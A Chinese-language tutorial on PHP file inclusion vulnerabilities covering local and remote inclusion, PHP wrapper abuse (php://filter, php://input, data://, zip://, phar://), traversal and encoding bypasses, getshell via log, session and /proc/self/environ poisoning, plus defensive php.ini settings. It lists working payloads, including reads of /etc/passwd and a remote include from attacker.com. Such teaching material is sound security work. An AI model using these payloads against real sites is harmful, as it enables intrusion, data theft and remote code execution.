文件包含漏洞
字数 1400 2025-08-12 11:34:00
文件包含漏洞详解
一、文件包含漏洞概述
文件包含漏洞是指通过PHP的包含函数(include、require、include_once、require_once)不当使用,导致攻击者能够包含并执行恶意文件的安全漏洞。
包含函数区别
include:包含失败时产生警告(E_WARNING),脚本继续执行require:包含失败时产生致命错误(E_COMPILE_ERROR),脚本停止执行include_once/require_once:功能相同,但会检查文件是否已被包含过,避免重复包含
二、文件包含漏洞类型
1. 本地文件包含(LFI - Local File Inclusion)
攻击者能够包含服务器本地的文件,可能导致:
- 敏感信息泄露(如/etc/passwd)
- 源代码泄露
- 配合文件上传实现代码执行
2. 远程文件包含(RFI - Remote File Inclusion)
攻击者能够包含远程服务器上的文件,直接导致任意代码执行。
必要条件:
allow_url_fopen=On(允许将URL作为文件打开)allow_url_include=On(允许包含远程文件)
三、漏洞检测方法
-
尝试包含已知存在的本地文件:
?file=../../../../etc/passwd -
尝试包含远程文件:
?file=http://attacker.com/shell.txt -
使用PHP伪协议测试:
?file=php://filter/convert.base64-encode/resource=index.php
四、PHP伪协议利用
1. file://
访问本地文件系统,默认协议
?file=file:///etc/passwd
2. php://filter
用于读取文件内容并进行编码处理,常用于读取源代码
基本语法:
php://filter/read=<过滤器>/resource=<文件路径>
常用过滤器:
convert.base64-encode:Base64编码convert.iconv.*:字符编码转换string.rot13:ROT13编码string.toupper/string.tolower:大小写转换
示例:
?file=php://filter/read=convert.base64-encode/resource=index.php
3. php://input
允许访问请求的原始数据,配合POST请求执行代码
示例:
POST /vul.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
4. data://
直接包含数据流
示例:
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
5. zip://
访问压缩包中的文件
示例:
?file=zip:///path/to/file.zip%23shell.php
6. phar://
PHP归档协议,类似于zip://
示例:
?file=phar:///path/to/file.phar/shell.php
五、绕过技巧
1. 路径遍历
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd
2. 截断技巧(PHP<5.3)
?file=../../../../etc/passwd%00
?file=../../../../etc/passwd/.
3. 编码绕过
?file=..%2F..%2F..%2Fetc%2Fpasswd
?file=%252e%252e%252fetc%252fpasswd
4. 配合文件上传
上传图片马后包含:
?file=./upload/tmp/evil.jpg
六、防御措施
-
关闭不必要的PHP配置:
allow_url_fopen=Off allow_url_include=Off -
对包含的文件参数进行严格过滤:
- 白名单方式限制包含的文件名
- 禁止目录跳转字符(../)
- 检查文件后缀
-
设置open_basedir限制文件访问范围
-
避免动态包含变量,如必须使用,应对输入进行严格校验
-
使用realpath()函数规范化路径
七、实战利用场景
-
读取敏感文件:
?file=/etc/passwd ?file=../../../../var/www/html/config.php -
远程代码执行:
?file=http://attacker.com/shell.txt -
配合日志文件getshell:
?file=../../../../var/log/apache2/access.log然后访问包含PHP代码的URL使日志记录
-
配合PHP SESSION文件getshell:
?file=../../../../tmp/sess_[sessionid]先设置session包含恶意代码
-
配合/proc/self/environ:
?file=../../../../proc/self/environ通过User-Agent注入PHP代码
八、相关配置检查
检查php.ini中以下配置:
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html/:/tmp/
九、自动化工具
- Kadimus:LFI扫描和利用工具
- LFISuite:自动化LFI利用工具
- Burp Suite:手动测试和利用
通过全面理解文件包含漏洞的原理、利用方式和防御措施,可以有效提高Web应用的安全性,防止此类漏洞被恶意利用。